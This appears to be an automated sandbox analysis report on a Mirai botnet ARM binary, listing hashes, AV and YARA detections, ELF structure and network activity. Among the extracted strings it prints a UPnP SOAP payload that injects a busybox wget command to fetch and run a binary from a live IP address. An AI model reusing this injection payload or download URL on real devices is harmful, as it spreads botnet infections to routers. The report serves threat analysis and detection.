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Linux Analysis Report
resgod.arm6.elf

Overview

General Information

Sample name:resgod.arm6.elf
Analysis ID:1635949
MD5:04a86081e5f235ac203d09cdf13a691b
SHA1:1f1e57df09fa1d3027278dcb8e4bae6ced692722
SHA256:1b4abb7c728bf40ac2456515873e0543ef4982b07c8b4e9408445b1d90cef853
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1635949
Start date and time:2025-03-12 08:52:25 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 22s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:resgod.arm6.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@2/0
Command:/tmp/resgod.arm6.elf
PID:5522
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • resgod.arm6.elf (PID: 5522, Parent: 5446, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/resgod.arm6.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
resgod.arm6.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    resgod.arm6.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      SourceRuleDescriptionAuthorStrings
      5522.1.00007f688c017000.00007f688c029000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        5522.1.00007f688c017000.00007f688c029000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          Process Memory Space: resgod.arm6.elf PID: 5522JoeSecurity_Mirai_6Yara detected MiraiJoe Security
            No Suricata rule has matched

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: resgod.arm6.elfAvira: detected
            Source: resgod.arm6.elfReversingLabs: Detection: 55%
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
            Source: resgod.arm6.elfString found in binary or memory: http://104.168.101.23/resgod.mips;
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: ELF static info symbol of initial sample.symtab present: no
            Source: classification engineClassification label: mal72.troj.linELF@0/0@2/0
            Source: /tmp/resgod.arm6.elf (PID: 5522)Queries kernel information via 'uname': Jump to behavior
            Source: resgod.arm6.elf, 5522.1.000055845b67d000.000055845b7ab000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
            Source: resgod.arm6.elf, 5522.1.00007ffd1f402000.00007ffd1f423000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/resgod.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/resgod.arm6.elf
            Source: resgod.arm6.elf, 5522.1.000055845b67d000.000055845b7ab000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
            Source: resgod.arm6.elf, 5522.1.00007ffd1f402000.00007ffd1f423000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
            Source: resgod.arm6.elf, 5522.1.00007ffd1f402000.00007ffd1f423000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: resgod.arm6.elf, type: SAMPLE
            Source: Yara matchFile source: 5522.1.00007f688c017000.00007f688c029000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: resgod.arm6.elf PID: 5522, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: resgod.arm6.elf, type: SAMPLE
            Source: Yara matchFile source: 5522.1.00007f688c017000.00007f688c029000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: resgod.arm6.elf PID: 5522, type: MEMORYSTR
            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery
            Remote ServicesData from Local System1
            Non-Application Layer Protocol
            Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
            Application Layer Protocol
            Exfiltration Over BluetoothNetwork Denial of Service
            No configs have been found
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1635949 Sample: resgod.arm6.elf Startdate: 12/03/2025 Architecture: LINUX Score: 72 8 daisy.ubuntu.com 2->8 10 Antivirus / Scanner detection for submitted sample 2->10 12 Multi AV Scanner detection for submitted file 2->12 14 Yara detected Mirai 2->14 6 resgod.arm6.elf 2->6         started        signatures3 process4

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand
            SourceDetectionScannerLabelLink
            resgod.arm6.elf55%ReversingLabsLinux.Backdoor.Mirai
            resgod.arm6.elf100%AviraEXP/ELF.Mirai.W
            No Antivirus matches
            No Antivirus matches
            No Antivirus matches

            Download Network PCAP: filteredfull

            NameIPActiveMaliciousAntivirus DetectionReputation
            daisy.ubuntu.com
            162.213.35.24
            truefalse
              high
              NameSourceMaliciousAntivirus DetectionReputation
              http://schemas.xmlsoap.org/soap/encoding//%22%3Eresgod.arm6.elffalse
                high
                http://104.168.101.23/resgod.mips;resgod.arm6.elffalse
                  unknown
                  http://schemas.xmlsoap.org/soap/encoding/resgod.arm6.elffalse
                    high
                    http://schemas.xmlsoap.org/soap/envelope//resgod.arm6.elffalse
                      high
                      http://schemas.xmlsoap.org/soap/envelope/resgod.arm6.elffalse
                        high
                        No contacted IP infos
                        No context
                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                        daisy.ubuntu.combin.sh.elfGet hashmaliciousMiraiBrowse
                        • 162.213.35.25
                        morte.spc.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.25
                        demon.arm.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.24
                        demon.arm5.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.25
                        demon.arm7.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.25
                        demon.mpsl.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.25
                        demon.arm6.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.24
                        demon.arm.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.24
                        demon.mpsl.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.25
                        morte.arm6.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.24
                        No context
                        No context
                        No context
                        No created / dropped files found
                        File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                        Entropy (8bit):6.131283154942073
                        TrID:
                        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                        File name:resgod.arm6.elf
                        File size:71'292 bytes
                        MD5:04a86081e5f235ac203d09cdf13a691b
                        SHA1:1f1e57df09fa1d3027278dcb8e4bae6ced692722
                        SHA256:1b4abb7c728bf40ac2456515873e0543ef4982b07c8b4e9408445b1d90cef853
                        SHA512:5ef4d4fd672a14f1bbaa59bfedcd945a0c507aa596119e4685985f849a6d27d6a35055033c9848270f5a3982286d96749f00be43d294b3788e6f354dd360369c
                        SSDEEP:1536:EuntbpjcAPBXMf4JAIGGjawaXrchIYidzkSem8dfq5aYKlq:FY4JzjraTz7em8dfqkY
                        TLSH:7B631C86B981AB25C6C2567BFE0F014E33134B6CE3DE73129D285B7477C756B0E2A50A
                        File Content Preview:.ELF..............(.....T...4...........4. ...(.....................H...H...............L...L...H.......X...........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.(.......H.....-.@0....S

                        ELF header

                        Class:ELF32
                        Data:2's complement, little endian
                        Version:1 (current)
                        Machine:ARM
                        Version Number:0x1
                        Type:EXEC (Executable file)
                        OS/ABI:UNIX - System V
                        ABI Version:0
                        Entry Point Address:0x8154
                        Flags:0x4000002
                        ELF Header Size:52
                        Program Header Offset:52
                        Program Header Size:32
                        Number of Program Headers:3
                        Section Header Offset:70812
                        Section Header Size:40
                        Number of Section Headers:12
                        Header String Table Index:11
                        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                        NULL0x00x00x00x00x0000
                        .initPROGBITS0x80940x940x100x00x6AX004
                        .textPROGBITS0x80b00xb00xf5f00x00x6AX0016
                        .finiPROGBITS0x176a00xf6a00x100x00x6AX004
                        .rodataPROGBITS0x176b00xf6b00x1a980x00x2A008
                        .init_arrayINIT_ARRAY0x2114c0x111500x40x00x3WA004
                        .fini_arrayFINI_ARRAY0x211500x111540x40x00x3WA004
                        .gotPROGBITS0x211580x1115c0x7c0x40x3WA004
                        .dataPROGBITS0x211d40x111d80x2540x00x3WA004
                        .bssNOBITS0x214280x1142c0x657c0x00x3WA008
                        .ARM.attributesARM_ATTRIBUTES0x00x1142c0x100x00x0001
                        .shstrtabSTRTAB0x00x1143c0x5d0x00x0001
                        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                        LOAD0x00x80000x80000x111480x111486.15780x5R E0x8000.init .text .fini .rodata
                        LOAD0x1114c0x2114c0x211480x2e00xe8583.65620x6RW 0x8000.init_array .fini_array .got .data .bss
                        GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                        Download Network PCAP: filteredfull

                        TimestampSource PortDest PortSource IPDest IP
                        Mar 12, 2025 08:53:08.516598940 CET5839353192.168.2.151.1.1.1
                        Mar 12, 2025 08:53:08.516644001 CET5146453192.168.2.151.1.1.1
                        Mar 12, 2025 08:53:08.523665905 CET53514641.1.1.1192.168.2.15
                        Mar 12, 2025 08:53:08.524081945 CET53583931.1.1.1192.168.2.15
                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                        Mar 12, 2025 08:53:08.516598940 CET192.168.2.151.1.1.10xaf09Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                        Mar 12, 2025 08:53:08.516644001 CET192.168.2.151.1.1.10x5c19Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                        Mar 12, 2025 08:53:08.524081945 CET1.1.1.1192.168.2.150xaf09No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                        Mar 12, 2025 08:53:08.524081945 CET1.1.1.1192.168.2.150xaf09No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                        System Behavior

                        Start time (UTC):07:53:06
                        Start date (UTC):12/03/2025
                        Path:/tmp/resgod.arm6.elf
                        Arguments:/tmp/resgod.arm6.elf
                        File size:4956856 bytes
                        MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1